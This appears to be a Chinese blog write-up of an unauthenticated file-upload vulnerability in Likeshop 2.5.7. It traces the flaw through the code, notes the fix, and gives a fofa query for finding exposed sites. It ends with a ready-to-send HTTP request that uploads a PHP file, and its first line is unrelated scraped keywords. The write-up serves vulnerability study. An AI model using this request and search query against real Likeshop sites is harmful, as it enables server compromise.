wordpress取消默认图片,南昌seo数据监控,怎么在网站做视频接口,三水网站建设企业本次的漏洞研究基于thinkPHP开发开的一款项目.....
漏洞描述
Likeshop是Likeshop开源的一个社交商务策略的完整解决方案#xff0c;开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞#xff0c;该漏洞源于文件server/application/api/contr…本次的漏洞研究基于thinkPHP开发开的一款项目.....
漏洞描述
Likeshop是Likeshop开源的一个社交商务策略的完整解决方案开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞该漏洞源于文件server/application/api/controller/File.php的参数file会导致不受限制的上传。
fofa查询语句
icon_hash874152924 body/pc/
环境搭建
下载https://github.com/likeshop-github/likeshop/releases/tag/2.5.7
漏洞代码审计
server\application\api\controller的File.php文件路由/api/file/formimage 进入userFormImage方法FileServer::userFormImages() 107行 创建实例StorageDriver 后调用setUploadFile方法跟过去 其实调用的是引擎的setUplloadFile方法是那个引擎呢! 分别为阿里云存储引擎 (OSS) 本地文件驱动 腾讯云存储引擎 (COS) 七牛云存储引擎 存储引擎抽象类(那三个全部继承这个类)
setUploadFile方法只在存储引擎抽象类中存在因此分析server.php下的setUploadFile方法 我们重点关注上传文件名文件内容。代码中没有任何过滤的函数
查看109行 StorageDriver-upload 方法 我们挨个分析这几个引擎类对upload的实现
local类直接move 没有任何过滤 Aliyun类 剩下的引擎类就不分析了基本都没有做文件名的后缀检测。 文件上传漏洞可成功利用
后续修复
在修复的版本中Server.php中进行了文件名的限制 这里校验文件处new了一个Upload对象该对象内容如下 漏洞复现
进入环境页面设置好sql连接 等待安装 注册一个账号 登录账号后点击我的 设置自己信息 这里其实是有头像的点击上传头像 抓包改变content-type 打入payload 实际测试没有cookie 没有token也可成功访问该接口
访问payload文件 payload成功执行 漏洞复现成功
附赠payload POST /api/file/formimage HTTP/1.1 Host: 127.0.0.1:8000 Content-Type: multipart/form-data; boundary---------------------------348900489633202294591557761619 Content-Length: 248 -----------------------------348900489633202294591557761619 Content-Disposition: form-data; namefile; filenameb.php Content-Type: application/octet-stream ?php phpinfo(); ? -----------------------------348900489633202294591557761619--